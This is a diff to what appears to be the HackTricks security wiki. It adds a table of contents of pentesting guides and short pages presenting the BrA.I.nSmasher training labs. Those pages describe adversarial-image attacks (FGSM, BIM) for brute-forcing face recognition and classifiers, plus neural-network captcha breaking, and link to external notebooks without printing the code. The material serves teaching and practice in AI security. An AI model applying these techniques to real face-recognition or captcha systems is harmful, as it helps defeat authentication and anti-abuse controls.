+ * [Oracle Pentesting requirements installation](pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md)
+ * [TNS Poison](pentesting/1521-1522-1529-pentesting-oracle-listener/tns-poison.md)
+ * [Remote stealth pass brute force](pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md)
+ * [Oracle RCE & more](pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-rce-and-more.md)
+* [1723 - Pentesting PPTP](pentesting/1723-pentesting-pptp.md)
+* [1883 - Pentesting MQTT \(Mosquitto\)](pentesting/1883-pentesting-mqtt-mosquitto.md)
+* [2049 - Pentesting NFS Service](pentesting/nfs-service-pentesting.md)
+* [2301,2381 - Pentesting Compaq/HP Insight Manager](pentesting/pentesting-compaq-hp-insight-manager.md)
+* [2375, 2376 Pentesting Docker](pentesting/2375-pentesting-docker.md)
+* [3128 - Pentesting Squid](pentesting/3128-pentesting-squid.md)
+* [3260 - Pentesting ISCSI](pentesting/3260-pentesting-iscsi.md)
+* [3299 - Pentesting SAPRouter](pentesting/3299-pentesting-saprouter.md)
+* [3306 - Pentesting Mysql](pentesting/pentesting-mysql.md)
+* [3389 - Pentesting RDP](pentesting/pentesting-rdp.md)
+* [3632 - Pentesting distcc](pentesting/3632-pentesting-distcc.md)
+* [3690 - Pentesting Subversion \(svn server\)](pentesting/3690-pentesting-subversion-svn-server.md)
+* [4369 - Pentesting Erlang Port Mapper Daemon \(epmd\)](pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md)
+* [5000 - Pentesting Docker Registry](pentesting/5000-pentesting-docker-registry.md)
+* [5353/UDP Multicast DNS \(mDNS\)](pentesting/5353-udp-multicast-dns-mdns.md)
+* [5432,5433 - Pentesting Postgresql](pentesting/pentesting-postgresql.md)
+* [5601 - Pentesting Kibana](pentesting/5601-pentesting-kibana.md)
+* [5671,5672 - Pentesting AMQP](pentesting/5671-5672-pentesting-amqp.md)
+* [5800,5801,5900,5901 - Pentesting VNC](pentesting/pentesting-vnc.md)
+* [5984,6984 - Pentesting CouchDB](pentesting/5984-pentesting-couchdb.md)
+* [5985,5986 - Pentesting WinRM](pentesting/5985-5986-pentesting-winrm.md)
+* [6000 - Pentesting X11](pentesting/6000-pentesting-x11.md)
+* [6379 - Pentesting Redis](pentesting/6379-pentesting-redis.md)
+* [8009 - Pentesting Apache JServ Protocol \(AJP\)](pentesting/8009-pentesting-apache-jserv-protocol-ajp.md)
+* [8089 - Splunkd](pentesting/8089-splunkd.md)
+* [9000 - Pentesting FastCGI](pentesting/9000-pentesting-fastcgi.md)
+* [9001 - Pentesting HSQLDB](pentesting/9001-pentesting-hsqldb.md)
+* [9042/9160 - Pentesting Cassandra](pentesting/cassandra.md)
+* [9100 - Pentesting Raw Printing \(JetDirect, AppSocket, PDL-datastream\)](pentesting/9100-pjl.md)
+* [9200 - Pentesting Elasticsearch](pentesting/9200-pentesting-elasticsearch.md)
+* [10000 - Pentesting Network Data Management Protocol \(ndmp\)](pentesting/10000-network-data-management-protocol-ndmp.md)
+* [11211 - Pentesting Memcache](pentesting/11211-memcache.md)
+* [15672 - Pentesting RabbitMQ Management](pentesting/15672-pentesting-rabbitmq-management.md)
+* [27017,27018 - Pentesting MongoDB](pentesting/27017-27018-mongodb.md)
+* [44818/UDP/TCP - Pentesting EthernetIP](pentesting/44818-ethernetip.md)
+* [47808/udp - Pentesting BACNet](pentesting/47808-udp-bacnet.md)
+* [50030,50060,50070,50075,50090 - Pentesting Hadoop](pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md)
+
+## Pentesting Web
+
+* [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
+* [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
+ * [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)
+* [2FA/OTP Bypass](pentesting-web/2fa-bypass.md)
+* [Abusing hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
+* [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
+* [Captcha Bypass](pentesting-web/captcha-bypass.md)
+* [Cache Poisoning and Cache Deception](pentesting-web/cache-deception.md)
+* [Clickjacking](pentesting-web/clickjacking.md)
+* [Client Side Template Injection \(CSTI\)](pentesting-web/client-side-template-injection-csti.md)
+* [Command Injection](pentesting-web/command-injection.md)
+* [Content Security Policy \(CSP\) Bypass](pentesting-web/content-security-policy-csp-bypass.md)
+* [Cookies Hacking](pentesting-web/hacking-with-cookies.md)
+* [CORS - Misconfigurations & Bypass](pentesting-web/cors-bypass.md)
+* [CRLF \(%0D%0A\) Injection](pentesting-web/crlf-0d-0a.md)
+* [Cross-site WebSocket hijacking \(CSWSH\)](pentesting-web/cross-site-websocket-hijacking-cswsh.md)
+* [CSRF \(Cross Site Request Forgery\)](pentesting-web/csrf-cross-site-request-forgery.md)
+* [Dangling Markup - HTML scriptless injection](pentesting-web/dangling-markup-html-scriptless-injection.md)
+* [Deserialization](pentesting-web/deserialization/README.md)
+ * [NodeJS - \_\_proto\_\_ & prototype Pollution](pentesting-web/deserialization/nodejs-proto-prototype-pollution.md)
+ * [Java JSF ViewState \(.faces\) Deserialization](pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md)
+ * [Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner](pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md)
+ * [Basic Java Deserialization \(ObjectInputStream, readObject\)](pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md)
+ * [CommonsCollection1 Payload - Java Transformers to Rutime exec\(\) and Thread Sleep](pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md)
+ * [Basic .Net deserialization \(ObjectDataProvider gadget, ExpandedWrapper, and Json.Net\)](pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)
+ * [Exploiting \_\_VIEWSTATE knowing the secrets](pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md)
+ * [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-__viewstate-parameter.md)
+* [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md)
+* [Email Header Injection](pentesting-web/email-header-injection.md)
+* [File Inclusion/Path traversal](pentesting-web/file-inclusion/README.md)
+ * [phar:// deserialization](pentesting-web/file-inclusion/phar-deserialization.md)
+* [File Upload](pentesting-web/file-upload/README.md)
+ * [PDF Upload - XXE and CORS bypass](pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md)
+* [Formula Injection](pentesting-web/formula-injection.md)
+* [HTTP Request Smuggling / HTTP Desync Attack](pentesting-web/http-request-smuggling.md)
+* [H2C Smuggling](pentesting-web/h2c-smuggling.md)
+* [IDOR](pentesting-web/idor.md)
+* [JWT Vulnerabilities \(Json Web Tokens\)](pentesting-web/hacking-jwt-json-web-tokens.md)
+* [NoSQL injection](pentesting-web/nosql-injection.md)
+* [LDAP Injection](pentesting-web/ldap-injection.md)
+* [Login Bypass](pentesting-web/login-bypass/README.md)
+ * [Login bypass List](pentesting-web/login-bypass/sql-login-bypass.md)
+* [OAuth to Account takeover](pentesting-web/oauth-to-account-takeover.md)
+* [Open Redirect](pentesting-web/open-redirect.md)
+* [Parameter Pollution](pentesting-web/parameter-pollution.md)
+* [PostMessage Vulnerabilities](pentesting-web/postmessage-vulnerabilities.md)
+* [Race Condition](pentesting-web/race-condition.md)
+* [Rate Limit Bypass](pentesting-web/rate-limit-bypass.md)
+* [Registration Vulnerabilities](pentesting-web/registration-vulnerabilities.md)
+* [Regular expression Denial of Service - ReDoS](pentesting-web/regular-expression-denial-of-service-redos.md)
+* [Reset/Forgotten Password Bypass](pentesting-web/reset-password.md)
+* [SAML Attacks](pentesting-web/saml-attacks/README.md)
+ * [SAML Basics](pentesting-web/saml-attacks/saml-basics.md)
+* [Server Side Inclusion/Edge Side Inclusion Injection](pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md)
+* [SQL Injection](pentesting-web/sql-injection/README.md)
+ * [MSSQL Injection](pentesting-web/sql-injection/mssql-injection.md)
+ * [Oracle injection](pentesting-web/sql-injection/oracle-injection.md)
+ * [PostgreSQL injection](pentesting-web/sql-injection/postgresql-injection/README.md)
+ * [dblink/lo\_import data exfiltration](pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md)
+ * [PL/pgSQL Password Bruteforce](pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
+ * [Network - Privesc, Port Scanner and NTLM chanllenge response disclosure](pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)
+ * [Big Binary Files Upload \(PostgreSQL\)](pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
+ * [RCE with PostgreSQL Extensions](pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
+ * [MySQL injection](pentesting-web/sql-injection/mysql-injection/README.md)
+ * [Mysql SSRF](pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md)
+ * [SQLMap - Cheetsheat](pentesting-web/sql-injection/sqlmap/README.md)
+ * [Second Order Injection - SQLMap](pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md)
+* [SSRF \(Server Side Request Forgery\)](pentesting-web/ssrf-server-side-request-forgery.md)
+* [SSTI \(Server Side Template Injection\)](pentesting-web/ssti-server-side-template-injection/README.md)
+ * [EL - Expression Language](pentesting-web/ssti-server-side-template-injection/el-expression-language.md)
+* [Reverse Tab Nabbing](pentesting-web/reverse-tab-nabbing.md)
+* [Unicode Normalization vulnerability](pentesting-web/unicode-normalization-vulnerability.md)
+* [Web Tool - WFuzz](pentesting-web/web-tool-wfuzz.md)
+* [XPATH injection](pentesting-web/xpath-injection.md)
+* [XSLT Server Side Injection \(Extensible Stylesheet Languaje Transformations\)](pentesting-web/xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
+* [XXE - XEE - XML External Entity](pentesting-web/xxe-xee-xml-external-entity.md)
+* [XSS \(Cross Site Scripting\)](pentesting-web/xss-cross-site-scripting/README.md)
+ * [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md)
+ * [DOM XSS](pentesting-web/xss-cross-site-scripting/dom-xss.md)
+ * [Server Side XSS \(Dynamic PDF\)](pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
+ * [XSS Tools](pentesting-web/xss-cross-site-scripting/xss-tools.md)
+* [XSSI \(Cross-Site Script Inclusion\)](pentesting-web/xssi-cross-site-script-inclusion.md)
+* [XS-Search](pentesting-web/xs-search.md)
+
+## Forensics
+
+* [Basic Forensic Methodology](forensics/basic-forensic-methodology/README.md)
+ * [Baseline Monitoring](forensics/basic-forensic-methodology/file-integrity-monitoring.md)
+ * [Anti-Forensic Techniques](forensics/basic-forensic-methodology/anti-forensic-techniques.md)
+ * [Docker Forensics](forensics/basic-forensic-methodology/docker-forensics.md)
+ * [Image Adquisition & Mount](forensics/basic-forensic-methodology/image-adquisition-and-mount.md)
+ * [Linux Forensics](forensics/basic-forensic-methodology/linux-forensics.md)
+ * [Malware Analysis](forensics/basic-forensic-methodology/malware-analysis.md)
+ * [Memory dump analysis](forensics/basic-forensic-methodology/memory-dump-analysis/README.md)
+ * [Volatility - CheatSheet](forensics/basic-forensic-methodology/memory-dump-analysis/volatility-examples.md)
+ * [Partitions/File Systems/Carving](forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md)
+ * [EXT](forensics/basic-forensic-methodology/partitions-file-systems-carving/ext.md)
+ * [File/Data Carving & Recovery Tools](forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md)
+ * [NTFS](forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md)
+ * [Pcap Inspection](forensics/basic-forensic-methodology/pcap-inspection/README.md)
+ * [DNSCat pcap analysis](forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md)
+ * [USB Keystrokes](forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md)
+ * [Wifi Pcap Analysis](forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md)
+ * [Wireshark tricks](forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md)
+ * [Specific Software/File-Type Tricks](forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md)
+ * [.pyc](forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
+ * [Browser Artifacts](forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
+ * [Desofuscation vbs \(cscript.exe\)](forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
+ * [Local Cloud Storage](forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
+ * [Office file analysis](forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
+ * [PDF File analysis](forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
+ * [PNG tricks](forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md)
+ * [Video and Audio file analysis](forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md)
+ * [ZIPs tricks](forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md)
+ * [Windows Artifacts](forensics/basic-forensic-methodology/windows-forensics/README.md)
+ * [Windows Processes](forensics/basic-forensic-methodology/windows-forensics/windows-processes.md)
+ * [Interesting Windows Registry Keys](forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md)
+
+## A.I. Exploiting
+
+* [BRA.I.NSMASHER Presentation](a.i.-exploiting/bra.i.nsmasher-presentation/README.md)
+ * [Basic Bruteforcer](a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md)
+ * [Basic Captcha Breaker](a.i.-exploiting/bra.i.nsmasher-presentation/basic-captcha-breaker.md)
+ * [BIM Bruteforcer](a.i.-exploiting/bra.i.nsmasher-presentation/bim-bruteforcer.md)
+ * [Hybrid Malware Classifier Part 1](a.i.-exploiting/bra.i.nsmasher-presentation/hybrid-malware-classifier-part-1.md)
+
+## Blockchain
+
+* [Blockchain & Crypto Currencies](blockchain/blockchain-and-crypto-currencies.md)
+
+## Courses and Certifications Reviews
+
+* [INE Courses and eLearnSecurity Certifications Reviews](courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md)
+
+## Cloud Security
+
+* [Cloud security review](cloud-security/cloud-security-review.md)
+* [AWS Security](cloud-security/aws-security.md)
+
+## Physical attacks
+
+* [Physical Attacks](physical-attacks/physical-attacks.md)
+* [Escaping from KIOSKs](physical-attacks/escaping-from-gui-applications/README.md)
+ * [Show file extensions](physical-attacks/escaping-from-gui-applications/show-file-extensions.md)
+
+## Reversing
+
+* [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md)
+ * [Angr](reversing/reversing-tools-basic-methods/angr.md)
+ * [Z3 - Satisfiability Modulo Theories \(SMT\)](reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md)
+ * [Cheat Engine](reversing/reversing-tools-basic-methods/cheat-engine.md)
+ * [Blobrunner](reversing/reversing-tools-basic-methods/blobrunner.md)
+* [Common API used in Malware](reversing/common-api-used-in-malware.md)
+* [Cryptographic/Compression Algorithms](reversing/cryptographic-algorithms/README.md)
+ * [Unpacking binaries](reversing/cryptographic-algorithms/unpacking-binaries.md)
+* [Word Macros](reversing/word-macros.md)
+
+## Exploiting
+
+* [Linux Exploiting \(Basic\) \(SPA\)](exploiting/linux-exploiting-basic-esp/README.md)
+ * [Format String Template](exploiting/linux-exploiting-basic-esp/format-string-template.md)
+ * [ROP - Syscall execv](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md)
+ * [ROP - Leaking LIBC address](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address.md)
+ * [ROP-PWN template](exploiting/linux-exploiting-basic-esp/rop-pwn-template.md)
+ * [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md)
+ * [Ret2Lib](exploiting/linux-exploiting-basic-esp/ret2lib.md)
+ * [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
+* [Exploiting Tools](exploiting/tools/README.md)
+ * [PwnTools](exploiting/tools/pwntools.md)
+* [Windows Exploiting \(Basic Guide - OSCP lvl\)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
+
+## Cryptography
+
+* [Certificates](cryptography/certificates.md)
+* [Cipher Block Chaining CBC-MAC](cryptography/cipher-block-chaining-cbc-mac-priv.md)
+* [Crypto CTFs Tricks](cryptography/crypto-ctfs-tricks.md)
+* [Electronic Code Book \(ECB\)](cryptography/electronic-code-book-ecb.md)
+* [Hash Length Extension Attack](cryptography/hash-length-extension-attack.md)
+* [Padding Oracle](cryptography/padding-oracle-priv.md)
+* [RC4 - Encrypt&Decrypt](cryptography/rc4-encrypt-and-decrypt.md)
+
+## BACKDOORS
+
+* [Merlin](backdoors/merlin.md)
+* [Empire](backdoors/empire.md)
+* [Salseo](backdoors/salseo.md)
+* [ICMPsh](backdoors/icmpsh.md)
+
+## Stego
+
+* [Stego Tricks](stego/stego-tricks.md)
+* [Esoteric languages](stego/esoteric-languages.md)
+
+## MISC
+
+* [Basic Python](misc/basic-python/README.md)
+ * [venv](misc/basic-python/venv.md)
+ * [Bypass Python sandboxes](misc/basic-python/bypass-python-sandboxes.md)
+ * [Magic Methods](misc/basic-python/magic-methods.md)
+ * [Web Requests](misc/basic-python/web-requests.md)
+ * [Bruteforce hash \(few chars\)](misc/basic-python/bruteforce-hash-few-chars.md)
+* [Other Big References](misc/references.md)
+
+## TODO
+
+* [More Tools](todo/more-tools.md)
+* [MISC](todo/misc.md)
+* [Pentesting DNS](todo/pentesting-dns.md)
+
+---
+
+* [Burp Suite](burp-suite.md)
+* [Other Web Tricks](other-web-tricks.md)
+* [Interesting HTTP](interesting-http.md)
+* [Emails Vulnerabilities](emails-vulns.md)
+* [Android Forensics](android-forensics.md)
+* [TR-069](tr-069.md)
+* [6881/udp - Pentesting BitTorrent](6881-udp-pentesting-bittorrent.md)
+* [CTF Write-ups](ctf-write-ups/README.md)
+ * [challenge-0521.intigriti.io](ctf-write-ups/challenge-0521.intigriti.io.md)
+ * [Try Hack Me](ctf-write-ups/try-hack-me/README.md)
+ * [hc0n Christmas CTF - 2019](ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md)
+ * [Pickle Rick](ctf-write-ups/try-hack-me/pickle-rick.md)
+* [1911 - Pentesting fox](1911-pentesting-fox.md)
+* [Online Platforms with API](online-platforms-with-api.md)
+* [Stealing Sensitive Information Disclosure from a Web](stealing-sensitive-information-disclosure-from-a-web.md)
+* [Post Exploitation](post-exploitation.md)
+
diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/BIM_Bruteforcer.md b/a.i.-exploiting/bra.i.nsmasher-presentation/BIM_Bruteforcer.md
new file mode 100644
index 00000000000..136a58d35ef
--- /dev/null
+++ b/a.i.-exploiting/bra.i.nsmasher-presentation/BIM_Bruteforcer.md
@@ -0,0 +1,13 @@
+#BRUTEFORCER CORE SCRIPT WITH BIM ATTACK
+
+This time we introduce a new type of gradient based attack, in order to brute force an image classification app (can be shaped and used for any input of course), the BIM, or Basic Iteration Method.
+
+It's reccomended to see at least the explanation in the [**introduction challenge colab Notebook**](//https://colab.research.google.com/drive/1lDh0oZ3TR-z87WjogdegZCdtsUuDADcR)
+
+To go deeper on the BIM topic:
+https://arxiv.org/pdf/1607.02533.pdf
+
+As usual we will provide only the A.I. attack core part, it's up to you to complete the tool and blending it with PT techniques, depending on the situations.
+
+Please Note:
+Remeber, in those kind of scenarios, in order to mime real-based attack applications, we don't have the exact model to fool or the image target in which we would like to transform our image. That's why, in order to overcome this issue, we must blend our core script, with a bruteforcer logic, accordingly to the application responses we want to fool.
\ No newline at end of file
diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/Basic_Bruteforcer.md b/a.i.-exploiting/bra.i.nsmasher-presentation/Basic_Bruteforcer.md
new file mode 100644
index 00000000000..837c1cb88fe
--- /dev/null
+++ b/a.i.-exploiting/bra.i.nsmasher-presentation/Basic_Bruteforcer.md
@@ -0,0 +1,13 @@
+
+# BRUTEFORCER IMAGE CORRUPTION SCRIPT
+
+The purpose here is to introduce the user to some basic concepts about **A.I. apps exploiting**, via some easy to follow scripts, which represents the core for writing useful tools.
+In this example (which can be used to solve the easy labs of BrainSmasher) by recalling also what is written in the solution for the introduction challenge, we will provide a simple yet useful way, in order to iteratively produce some corrupted images, to bruteforce the face recon easy labs (and thus also real applications that relies on the same principles)
+
+Of course we will not provide the full code but only the core part for the exploiting of the model,**instead some exercises will be left to the user (the pentesting part)**, in order to complete the tool. We will provides also some hints, just to give an idea of what can be done.
+
+The script can be found at [**IMAGE BRUTEFORCER**](https://colab.research.google.com/drive/1kUiWGRKr4vhqjI9Xgaqw3D5z3SeTXKmV)
+
+Try it on our labs [**BrA.I.Smasher Website**](https://beta.brainsmasher.eu/)
+
+Enjoy and stay safe!
\ No newline at end of file
diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/Hybrid_Malware_Classifier_Part_1.md b/a.i.-exploiting/bra.i.nsmasher-presentation/Hybrid_Malware_Classifier_Part_1.md
new file mode 100644
index 00000000000..672b78230a9
--- /dev/null
+++ b/a.i.-exploiting/bra.i.nsmasher-presentation/Hybrid_Malware_Classifier_Part_1.md
@@ -0,0 +1,18 @@
+#A.I. HYBRID MALWARE CLASSIFIER
+##INTERMEDIATE PYTHON SKILL, INTERMEDIATE MACHINE LEARNING SKILLS (Part 1)
+
+In this series of notebook we are going to build an **hybrid malware classifier.**
+
+For the **First part** we will focus on the scripting that involves dynamic analysis. Any steps of this series will come useful in order to detect malwares, and in this piece we will try to classify them based on their behaviour, utilizing the logs produced by running a program.
+
+In the **Second Part** we will see how to manipulate the logs files in order to add robustness to our classifier and adjust the code to counter the more advanced methods of A.I. Malware Evasion.
+
+In the **Third Part** we will create a Static Malware Classifier.
+
+For the **Fourth Part** For the Fourth Part we will add some tactics to add robustness to our Static classifier and merge the latter with our Dynamic Classifier.
+
+**PLEASE NOTE:** This Series strongly relies on building a dataset on your own, even if it's not mandatory.
+There are also many available datasets for Static and/ or Dynamic Malware analysis on several sites for this type of classification, like Ember, VirusShare, Sorel-20M, but i strongly encourage that you build one or your own.
+
+Here's the link to our [**colab notebook**](https://colab.research.google.com/drive/1nNZLMogXF-iq-_78IvGTd-c89_C82AB8#scrollTo=lUHLMl8Pusrn) enjoy and stay safe :)
+
diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/README.md b/a.i.-exploiting/bra.i.nsmasher-presentation/README.md
new file mode 100644
index 00000000000..d47078e06a4
--- /dev/null
+++ b/a.i.-exploiting/bra.i.nsmasher-presentation/README.md
@@ -0,0 +1,37 @@
+# BRA.I.NSMASHER Presentation
+
+## Presentation
+
+**BrainSmasher** is a platform made with the purpose of aiding **pentesters, researcher, students, A.I. Cybersecurity engineers** to practice and learn all the techniques for **exploiting commercial A.I.** applications, by working on specifically crafted labs that reproduce several systems, like face recognition, speech recognition, ensemble image classification, autonomous drive, malware evasion, chatbot, data poisoning etc...
+
+Every month a lab on various topic found in commercial A.I. applications will be posted, with **3 different difficulties** \(named challenges\), in order to **guide** the user in **understanding** all the mechanics behind it and practice **different** ways of **exploitation**.
+
+Since A.I. applications are relatively new, there is also the possibility that the **harder difficulty challenges for the labs don't have some public known ways of exploitation**, so it's up to you to find the correct solution. Maybe some challenges could need the **combination** of "**standard**" **cybersecurity** techniques with **machine** **learning** adversarial attacks ;\)
+
+The platform, which is now in **beta** version, will also feature in the next future **paid** competitions, **job** **offers** posting, **ranking** system, **tutorials** on several A.I. exploit topics, the possibility to **earn** **money** by **proposing** personal **labs** or different challenges, for an already existent A.I. lab applications, to be used by the community and also propose modification already existent challenges in order to augment their robustness vs. the various attacks.
+
+All the **material and the techs for the exploitation of A.I. will be posted here** in a dedicated section of hacktricks.
+
+**While** we are in **beta** version and completing the implementation of all the above described features, the subscription and all the already posted labs with their relative **challenges are free**.
+**So start learning how to exploit A.I. for free while you can in** [**BrA.I.Smasher Website**](https://beta.brainsmasher.eu/)
+****ENJOY ;\)
+
+_A big thanks to Hacktricks and Carlos Polop for giving us this opportunity_
+
+> _Walter Miele from BrA.I.nsmasher_
+
+## Registry Challenge
+
+In order to register in [**BrA.I.Smasher** ](https://beta.brainsmasher.eu/)you need to solve an easy challenge \([**here**](https://beta.brainsmasher.eu/registrationChallenge)\).
+Just think how you can confuse a neuronal network while not confusing the other one knowing that one detects better the panda while the other one is worse...
+
+{% hint style="info" %}
+However, if at some point you **don't know how to solve** the challenge, or **even if you solve it**, check out the official solution in [**google colab**](https://colab.research.google.com/drive/1MR8i_ATm3bn3CEqwaEnRwF0eR25yKcjn?usp=sharing).
+{% endhint %}
+
+I have to tell you that there are **easier ways** to pass the challenge, but this **solution** is **awesome** as you will learn how to pass the challenge performing an **Adversarial Image performing a Fast Gradient Signed Method \(FGSM\) attack for images.**
+
+## More Tutorials
+
+{% page-ref page="basic-captcha-breaker.md" %}
+
diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md b/a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md
new file mode 100644
index 00000000000..fb92691197c
--- /dev/null
+++ b/a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md
@@ -0,0 +1,15 @@
+# Basic Bruteforcer
+
+## BRUTEFORCER IMAGE CORRUPTION SCRIPT
+
+The purpose here is to introduce the user to some basic concepts about **A.I. apps exploiting**, via some easy to follow scripts, which represents the core for writing useful tools.<br>
+In this example \(which can be used to solve the easy labs of BrainSmasher\) by recalling also what is written in the solution for the introduction challenge, we will provide a simple yet useful way, in order to iteratively produce some corrupted images, to bruteforce the face recon easy labs \(and thus also real applications that relies on the same principles\)
+
+Of course we will not provide the full code but only the core part for the exploiting of the model, **instead some exercises will be left to the user \(the pentesting part\)**, in order to complete the tool. We will provides also some hints, just to give an idea of what can be done.
+
+The script can be found at [**IMAGE BRUTEFORCER**](https://colab.research.google.com/drive/1kUiWGRKr4vhqjI9Xgaqw3D5z3SeTXKmV)
+
+Try it on our labs [**BrA.I.Smasher Website**](https://beta.brainsmasher.eu/)
+
+Enjoy and stay safe!
+
diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/basic-captcha-breaker.md b/a.i.-exploiting/bra.i.nsmasher-presentation/basic-captcha-breaker.md
new file mode 100644
index 00000000000..dcb34ebd55b
--- /dev/null
+++ b/a.i.-exploiting/bra.i.nsmasher-presentation/basic-captcha-breaker.md
@@ -0,0 +1,7 @@
+# Basic Captcha Breaker
+
+In this tutorial **a basic captcha is going to be broken**.
+A **NN is going to be trained** using several **images** that represents **letters** and then this NN is going to be used to **automatically identify the letters inside a captcha image**.
+
+Check the awesome guided tutorial provided by [**BrA.In Smasher**](https://beta.brainsmasher.eu/) in this [**google collab page**](https://colab.research.google.com/drive/1uiQJpqEj5V2_ijoumSd2noaDJuniTlKq?usp=sharing).
+
diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/bim-bruteforcer.md b/a.i.-exploiting/bra.i.nsmasher-presentation/bim-bruteforcer.md
new file mode 100644
index 00000000000..2fdaee8df57
--- /dev/null
+++ b/a.i.-exploiting/bra.i.nsmasher-presentation/bim-bruteforcer.md
@@ -0,0 +1,16 @@
+# BIM Bruteforcer
+
+## BRUTEFORCER CORE SCRIPT WITH BIM ATTACK
+
+This time we introduce a new type of gradient based attack, in order to brute force an image classification app \(can be shaped and used for any input of course\), the BIM, or Basic Iteration Method.
+
+It’s recommended to see at least the explanation in the [**introduction challenge colab Notebook**](https://colab.research.google.com/drive/1lDh0oZ3TR-z87WjogdegZCdtsUuDADcR)\*\*\*\*
+
+To go deeper on the BIM topic:[ https://arxiv.org/pdf/1607.02533.pdf](https://arxiv.org/pdf/1607.02533.pdf)
+
+As usual we will provide only the A.I. attack core part, it’s up to you to complete the tool and blending it with PT techniques, depending on the situations.
+
+{% hint style="info" %}
+Remember, in those kind of scenarios, in order to mime real-based attack applications, we don’t have the exact model to fool or the image target in which we would like to transform our image. That’s why, in order to overcome this issue, we must blend our core script, with a bruteforcer logic, accordingly to the application responses we want to fool.
+{% endhint %}
+
diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/hybrid-malware-classifier-part-1.md b/a.i.-exploiting/bra.i.nsmasher-presentation/hybrid-malware-classifier-part-1.md
new file mode 100644
index 00000000000..1228526893c
--- /dev/null
+++ b/a.i.-exploiting/bra.i.nsmasher-presentation/hybrid-malware-classifier-part-1.md
@@ -0,0 +1,22 @@
+# Hybrid Malware Classifier Part 1
+
+## A.I. HYBRID MALWARE CLASSIFIER
+
+### INTERMEDIATE PYTHON SKILL, INTERMEDIATE MACHINE LEARNING SKILLS \(Part 1\)
+
+In this series of notebook we are going to build an **hybrid malware classifier.**
+
+For the **First part** we will focus on the scripting that involves dynamic analysis. Any steps of this series will come useful in order to detect malwares, and in this piece we will try to classify them based on their behaviour, utilizing the logs produced by running a program.
+
+In the **Second Part** we will see how to manipulate the logs files in order to add robustness to our classifier and adjust the code to counter the more advanced methods of A.I. Malware Evasion.
+
+In the **Third Part** we will create a Static Malware Classifier.
+
+For the **Fourth Part** For the Fourth Part we will add some tactics to add robustness to our Static classifier and merge the latter with our Dynamic Classifier.
+
